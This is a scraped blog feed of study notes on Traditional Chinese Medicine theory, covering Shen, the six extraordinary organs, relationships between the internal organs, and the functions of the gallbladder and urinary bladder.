State of the Shen is said to be visible in the eyes. Healthy Shen produces bright, shining eyes, with vitality. Disturbed Shen produces dull eyes, which seem to have a curtain in front of them – as if no one were behind them. Often seen in those with long-term emotional problems or after serious shock (even a shock that occurred a long time ago.)

Healthy Shen depends on the strength of the Essence (stored in Kidneys) and Qi (produced by Spleen and Stomach). Thus, Shen is dependent on the Prenatal Jing and the Postnatal Jing. If Essence and Qi are healthy, the Shen will be nourished. As mentioned above, the Shen lives in the Blood Vessels, part of the Heart system in TCM. Blood is closely related to Qi in TCM, and is formed from the Postnatal Jing derived from food and fluids, hence Blood formation is simultaneous with that of the formation of Qi.

Jing, Qi and Shen are the “three treasures” in TCM. They represent three different states of condensation of Qi, ranging from Jing (more fluid, more material) to Qi, more rarefied, and Shen, more rarefied and immaterial.

This triad corresponds to the Heart, Stomach/Spleen and Kidneys.
SHEN HEART HEAVEN
QI STOMACH/SPLEEN PERSON
JING KIDNEYS EARTH

 

 

]]> The Six extraordinary Organs http://acuherb.us/the-six-extraordinary-organs/ Fri, 29 Jun 2012 19:50:40 +0000 http://acuherb.us/?p=1573

The Six extraordinary Organs


Marrow

  • Marrow is controlled and produced by the Kidneys, and equivalent to the brain and spinal cord.
  • Marrow includes Brain marrow, Spinal marrow, and Bone marrow
  • Marrow nourishes the Brain and Spinal Cord through the Jing
  • Nei Jing “If the Sea of Marrow is abundant, vitality is good, the body feels light and agile, and the span of life will be long. If it is deficient there will be dizziness, tinnitus, blurred vision, fatigue, and a great desire to lie down”
  • If the Marrow is Xu: Brain and Spinal cord are not adequately nourished and become deficient

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Brain (Sea of Marrow)

Controlled by the Kidney

  • Controls intelligence, memory, and the five senses

Related to Heart

  • Heart Blood nourishes the Shen and mental activity

Related to Liver

  • Controls circulation of Qi
  • Helps smooth flow of emotions

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Bone

  • Controlled by the Kidney, and any bone problem is treated through Kidneys
  • Stores bone marrow (“Simple Questions,” chapter 17, “The bones are the residence of Marrow.”)
  • The Chinese concept of “Marrow” should not be confused with bone marrow as defined by Western Medicine. In TCM, the function of Marrow is to nourish the Brain and spinal cord and to form Bone-Marrow. Bone Marrow produces Bone; it was not recognized that bone marrow produces blood as in Western thinking.
  • If Jing and Marrow are deficient, the Bones lose nourishment, cannot sustain the body and there will be inability to walk or stand.

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Uterus (Zi Cong, Baby Palace)

  • Controlled by the Kidney, especially the Jing
  • Controls reproduction and menstruation
  • Needs a rich supply of Qi, Blood, and essence for good function
  • Related to the Liver, especially Liver Blood

When Liver Blood is Xu

  • Menstrual problems
  • Sterility

Kidney Xu and Jing Xu

  • Sexual and reproductive disorders

Related to Conception Vessel

  • Pregnancy channel
  • Must be free of obstruction in order for pregnancy to occur

Related to Chong channel

  • The Sea of Blood must be abundant for fertility

Both the Chong Mai and Ren Mai originate in the Uterus

The Uterus is supported by the Heart and Spleen because of their production and circulation of Blood

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Vessels

Controlled by the Heart

  • Heart controls movement of Blood through the Vessels

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Gallbladder

Extraordinary because the GB does not receive food and water like other Fu organs and does not communicate with the exterior

Stores Bile

  • A pure refined substance
]]> The Internal Organ Relationships http://acuherb.us/the-internal-organ-relationships/ Fri, 29 Jun 2012 19:10:31 +0000 http://acuherb.us/?p=1566

The Internal Organ Relationships

Heart and Lungs

Heart governs Blood, Lungs govern Qi: relationship is that of Qi and Blood.

Qi and Blood are interdependent. Blood nourishes Qi but Qi pushes the Blood.

Heart moves the Blood but relies on Lung Qi to assist.

Lungs produce Ying (and Wei) Qi. Ying Qi flows with the Blood in the Vessels.

Heart and Lung connect via the Zong Qi (Chi of the Chest)

Deficient Lung Qi can lead to stagnation of Qi in the Heart and this can lead to stagnation of Blood of the Heart, with symptoms such as palpitations, chest pain, blue lips.

Excessive Heart Fire can dry up Lung fluids and cause dry cough, dry nose and thirst.

In practice, Heart and Lung Qi are often deficient at the same time because of their close relationship.

Sadness often depletes both Lung and Heart Qi.

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Heart and Liver

The heart and the Liver are related via Blood.

Heart governs Blood, Liver stores Blood and regulates its volume. These two activities must be coordinated and harmonized. If Heart Blood is deficient, this may disrupt Liver’s ability to regulate Blood (dizziness, excessive dreaming).

Deficient Liver Blood can cause Deficient Heart Blood (palpitations and insomnia).

Heart stores Shen and Liver rules smooth flowing of the emotions.

Shen and emotions mutually support each other. Weak Heart and Shen may lead to depression and anxiety. Or, when Liver Qi stagnates, this constrains emotions and can weaken the Shen.

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Heart and Kidneys

Mutual assistance of Fire and Water.

Heart belongs to Fire element and is in Upper Burner. (Fire is Yang and corresponds to movement).

Kidneys belong to Water element and are in Lower Burner. (Water is Yin and corresponds to stillness).

Heart & Kidney must be in balance as they represent two fundamental polarities of Yang and Yin (Fire & Water).

Heart Yang descends to warm Kidney Yin while Kidney Yin ascends to nourish Heart Yang. This constant interchange is referred to as “mutual support of Fire and Water”.

Kidney Yang Deficient: 
Kidneys cannot transform fluids; these can overflow upward to Heart.

Kidney Yin Deficient: 
Yin cannot rise to nourish Heart Yin. This can cause overactive Heart Fire (mental restlessness, insomnia, agitation, etc.)

Both these situations represent loss of communication between Heart and Kidney.

Heart and Kidneys are Common Root of Shen and Essence (Jing). The Heart houses She, while the Kidneys store Jing.

Shen and Jing have common root. Jing is fundamental substance from which Shen is derived, in other words, Shen is external manifestation of Jing.

Prenatal Jing is the foundation of the Shen, Postnatal Jing provides nourishment for the Shen.

Normal mental activity needs good supply of Jing.

Weak Jing: Shen will be weakened and person will lack vitality, willpower, self confidence.

When Shen is disturbed by emotional problems, Jing will not be directed by the Shen and the person will feel tired and lack motivation. 

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Liver and Lungs

Reflects the relationship of Qi and Blood.

Lungs govern Qi, and the Liver regulates and stores the Blood.

They rely on each other in that the Liver relies on Lung Qi to regulate Blood, and the Lungs rely on Liver Qi to smoothly move Qi.

Deficient Lung Qi can affect Liver’s smooth movement of Qi (fatigue, depression, cough and hypochondriac pain).

Liver Qi can stagnate in the chest and interfere with the Lung’s function of descending (cough, dyspnea, asthma).

Stagnation of Liver Qi can cause Liver Fire to rise and injure Lung Yin (Hypochondriac pain, coughing blood, pain on breathing).

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Liver and Spleen

When healthy, Liver Qi aids Spleen in digestion, and ensures smooth flow of bile to aid digestion.

By ensuring smooth flow of Qi in all directions of the body, Liver ensures that Spleen Qi flows upwards in its right direction.

Stagnant Liver Qi disrupts Spleen ability to transform and transport food and fluids and to “raise the pure”. (abdominal distension, hypochondriac pain, diarrhea).

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Liver and Kidneys

Based on mutual exchange between Blood and Jing.

Kidney Jing contributes to the making of Blood. (Jing produces bone marrow which is connected with manufacture of Blood in the body).

“Liver and Kidneys have a common origin”.

“Essence and Blood have a common source”.

Kidney Yin nourishes Liver Yin (including Liver Blood).

Deficient Kidney Jing may lead to Blood becoming Deficient (dizziness, blurred vision, tinnitus).

Kidney Yin fails to nourish Liver Yin, causing hyperactivity of Liver Yang (blurred vision, tinnitus, headaches, irritability, dizziness.

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Spleen and Lungs

Mutually assist each other.

Spleen extracts Food Qi and sends it up to the Lungs where it combines with air to form Zong Qi.

Spleen relies on Lung descending function to assist in the transformation and transportation of food (diaphragm movement helps Middle burner – “pumping” action).

Lung descending function also assists Spleen in the transformation of Body Fluids. Lung Qi weak, descending function impaired, Spleen cannot transform and transport the fluids, causing edema.

Deficient Spleen Qi: Food Qi deficient and production of Qi impaired (especially of Lung Qi: tiredness, weak limbs, breathlessness, weak voice) (Earth not producing Metal).

Spleen Deficiency: fluids not transformed but accumulate to form Phlegm, which settles in Lungs and impairs Lung function. “The Spleen forms Phlegm, the Lungs store it.”

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Spleen and Kidneys

Relationship is one of mutual nourishment.

Spleen: Root of Post-Heaven Qi (Foundation of Postnatal Existence)

Kidneys: Root of Pre-Heaven Qi (Foundation of Prenatal Existence)

The Postnatal Essence (Postnatal Jing) is formed from the food we eat and the air we breathe. The Spleen therefore plays the most important role in the formation of Postnatal Essence.

The Postnatal Essence is stored in the Kidneys together with the Prenatal Essence. Where Spleen Qi is weak, Postnatal Essence will not be produced as effectively, and the Kidney will have less Postnatal Essence to store.

Prenatal Essence assists in the production of Qi via its active aspect (Original Qi): the Original Qi provides the necessary energy for the transformation and transportation of the substances and formation of Qi: this affects the Spleen’s function.

Spleen and Kidneys support one another regarding transformation/transportation of Body Fluids.

Where Spleen Qi is weak, and Body Fluids are not able to be transformed and transported, these accumulate to form Dampness, which can interfere with the Kidney’s function regarding fluid metabolism (which then makes the Dampness worse).

Where Kidney Yang is Deficient, there is not enough heat for the Spleen to transform Fluids: this can cause Dampness or edema, chilliness and diarrhea.

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Lungs and Kidneys

Important relationship with regard to Qi and Fluids

Qi

Lungs send Qi and Fluids down to the Kidneys. Kidneys hold down the Qi and evaporate some of the Fluids, then send fluid vapor back to the Lungs to moisten them and the Lung then sends Fluids to moisten the skin.

Lungs send Qi down the Kidney and Kidneys hold down the Qi. Therefore they have an important communication regarding respiration

Communication regarding Zong Qi and Original Qi. 
Zong Qi (in the chest) flows down to connect with the Original Qi from which it is nourished. Original Qi flows up to the chest to assist with the production of Qi and Blood in the Upper Burner.

The Lung function of governing Qi and respiration depends on the Kidney function of receiving Qi.

Where Kidney energy is weak: impaired reception of Qi. Kidneys fail to hold Qi down and Qi flows back up to the chest (“rebels”) and obstructs the Lung’s descending function. Result is asthma, cough and dyspnea (unable to inhale deeply).

Fluids

Lungs control Water passages and send Fluids down to the Kidneys. Kidneys evaporate some fluids and send them back up to the Lungs to keep Lungs moist. “Kidneys govern Water and the Lungs are the upper origin of Water.”

Deficient Lung Qi: Lung cannot send fluids downwards and Lung cannot communicate with Kidneys and Bladder (edema, especially of upper body).

Deficient Kidney Yang: Kidneys cannot transform and excrete Fluids in the Lower Burner. These Fluids then accumulate to form Dampness or edema (especially of lower body). Because of the close relationship of Lungs and Kidneys regarding fluid metabolism, this accumulation of Fluids can eventually affect the Lung and impair Lung’s descending and dispersing function.

Deficient Kidney Yin: leads to deficiency to Fluids in the Lower Burner. Fluids fail to rise to moisten the Lungs, causing Deficiency of Lung Yin (dry throat at night, dry cough, night sweats and feeling of heat in the palms and soles of the feet).

Deficient Lung Yin (can arise from smoking, or after a long febrile disease involving the Lungs). This implies Deficient Fluids in the Lungs, inability of Lungs to send Fluids to Kidneys, which then results in Deficient Kidney Yin. (Smokers usually end up with depleted Kidney Yin as a result of this mechanism).

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Spleen and Heart

Interrelated via the Blood.

Spleen provides Food Qi for the formation of Blood.

Deficient Spleen Qi can lead to Deficient Blood, which can cause Heart Blood to be Deficient (resulting in palpitations, dizziness, poor memory, insomnia).
]]> The Gallbladder http://acuherb.us/the-gallbladder/ Fri, 29 Jun 2012 19:07:45 +0000 http://acuherb.us/?p=1563

Functions of the Gall Bladder 

The Gall Bladder is unusual among Yang Organs, because it does not receive, transform or transport digestate and waste products, but it stores bile. Bile is a pure (refined) substance, unlike the digestate and its products, which are impure substances. 

Hence, since the Gall Bladder stores a pure substance, it resembles a Yin Organ. For this reason the Gall Bladder is included in the “Curious Organs”.

  1. The Gall BladderStores and Releases Bile

    It receives bile from the Liver and stores it, releasing it when needed during digestion (same as in Western biomedicine). 

    Smooth flow of bile aids Stomach and Spleen digestive functions. 

    When Liver Qi stagnates and bile does not flow smoothly, digestive signs such as nausea and belching occur.

  2. Gall BladderControls Judgment
    1. (Liver controls planning), Gall Bladder controls ability to make decisions. These two functions are interdependent.
    2. Gall Bladder gives a person courage and initiative, i.e., courage to make decisions, act, make changes: positive and decisive action. Deficient Gall Bladder can result in indecision, timidity and easily becoming discouraged.
  3. Controls the Sinews (Tendons), With the Liver

    Wood element (Gall Bladder and Liver) control sinews. Liver nourishes tendons with Blood, Gall Bladder provides Qi to ensure correct movement and flexibility of tendons. The influential point for tendons is Gall Bladder 34, i.e., on Gall Bladder channel.

]]> The Urinary Bladder http://acuherb.us/the-urinary-bladder/ Fri, 29 Jun 2012 19:06:36 +0000 http://acuherb.us/?p=1560

Functions of the Urinary Bladder 

“Bladder is like a district official; it stores the fluids so that they can be excreted by its action of Qi transformation.” 

Bladder has wider sphere of activity than in Western medicine. Stores/excretes urine but also has role in transformation of fluids necessary for the production of urine. 

  1. Bladder Removes Water by QiTransformation

    “Dirty” or “impure” part of fluids is sent by Small Intestine to the bladder, which further transforms them into urine. Bladder then stores and excretes urine. 

    Bladder function of transforming fluids depends on the Kidney Yang. If Kidney Yang is deficient, Bladder will lack Qi and heat to transform fluids and symptoms will include profuse, clear urine, frequent urination or even incontinence. 

    Bladder and Small Intestine both depend on Kidney Yang and both work together to move fluids in Lower Burner.

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